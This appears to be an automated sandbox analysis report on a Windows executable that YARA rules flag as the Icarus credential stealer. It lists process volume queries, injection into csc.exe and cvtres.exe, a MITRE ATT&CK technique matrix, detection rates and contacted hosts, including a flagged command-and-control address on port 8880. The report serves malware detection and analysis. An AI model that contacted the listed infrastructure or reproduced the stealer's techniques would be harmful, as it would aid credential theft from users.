Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Binary or memory string: \rkd.exe

Stealing of Sensitive Information

Yara detected Icarus stealer

Source: Yara match	File source: 12.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.csc.exe.852cc18.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.csc.exe.852cc18.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csc.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7640, type: MEMORYSTR

Remote Access Functionality

Yara detected Icarus stealer

Source: Yara match	File source: 12.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.csc.exe.852cc18.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.csc.exe.852cc18.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csc.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7640, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Create Account	312 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	111 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
licarisan_api.exe	21%	ReversingLabs	Win32.Trojan.Midie
licarisan_api.exe	34%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
ipinfo.io	0%	Virustotal		Browse
15.164.165.52.in-addr.arpa	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ascstats.iobit.com/usage.phpU	0%	Virustotal		Browse
http://piriform.com/go/app_cc_privacy_policy	0%	Virustotal		Browse
http://www.piriform.com/ccleaner	0%	Virustotal		Browse
http://ipinfo.io/ip	0%	Virustotal		Browse
http://ipinfo.io/ipd	0%	Virustotal		Browse
http://piriform.com/go/app_cc_license_agreement	0%	Virustotal		Browse
http://ipinfo.io	0%	Virustotal		Browse
https://i.ibb.co/RvwvG2z/icaruwsdr-athens.png	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse	unknown
15.164.165.52.in-addr.arpa	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
193.142.146.64:8880	true		unknown
http://ipinfo.io/ip	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://piriform.com/go/app_cc_privacy_policy	licarisan_api.exe, EyesUpdater.exe.0.dr	false	0%, Virustotal, Browse	unknown
http://ascstats.iobit.com/usage.phpU	licarisan_api.exe, EyesUpdater.exe.0.dr	false	0%, Virustotal, Browse	unknown
http://www.piriform.com/ccleaner	licarisan_api.exe, EyesUpdater.exe.0.dr	false	0%, Virustotal, Browse	unknown
http://ipinfo.iod	cvtres.exe, 0000000C.00000002.2507488327.00000000030DF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003004000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000307E000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003152000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003072000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003090000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000314A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030CD000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030EA000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003040000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003143000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000309C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030BB000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D9000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000308A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003034000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030C7000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000303A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://piriform.com/go/app_cc_license_agreement	licarisan_api.exe, EyesUpdater.exe.0.dr	false	0%, Virustotal, Browse	unknown
http://ipinfo.io/ipd	cvtres.exe, 0000000C.00000002.2507488327.00000000030DF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003103000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003004000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000304C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000307E000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003152000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003072000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003090000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003010000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000314A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030CD000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030EA000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003040000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000309C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030BB000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D9000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000308A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003034000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	cvtres.exe, 0000000C.00000002.2507488327.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ipinfo.io	cvtres.exe, 0000000C.00000002.2507488327.00000000030DF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003103000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003004000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000304C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000307E000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003152000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003072000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003090000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003010000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000314A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030CD000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030EA000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003040000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003143000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000309C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030BB000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://i.ibb.co/RvwvG2z/icaruwsdr-athens.png	cvtres.exe, 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

